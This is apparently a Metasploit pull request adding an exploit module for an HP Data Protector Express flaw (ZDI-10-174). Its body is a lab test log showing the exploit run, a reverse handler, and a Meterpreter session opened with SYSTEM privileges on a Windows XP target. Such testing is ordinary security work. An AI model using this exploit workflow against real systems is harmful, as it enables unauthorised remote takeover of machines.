rapid7/metasploit-framework — pull request #1153 by jvazquez-r7 (2012-12-11 00:40:19+00:00)
Title: Added module for ZDI-10-174

Tested on windows xp SP3 with HP Data Protector Express 4.0 SP1

msf exploit(hp_dataprotector_dtbclslogin) > set RHOST 192.168.1.132
RHOST => 192.168.1.132
msf exploit(hp_dataprotector_dtbclslogin) > reload
[*] Reloading module...
msf exploit(hp_dataprotector_dtbclslogin) > check

[*] 192.168.1.132:3817 - Sending Hello Request
[*] The target service is running, but could not be validated.
msf exploit(hp_dataprotector_dtbclslogin) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444
[*] 192.168.1.132:3817 - Sending Hello Request
[*] 192.168.1.132:3817 - Sending Authentication Request
[*] Sending stage (752128 bytes) to 192.168.1.132
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.132:1040) at 2012-12-11 01:34:33 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.132 - Meterpreter session 1 closed. Reason: User exit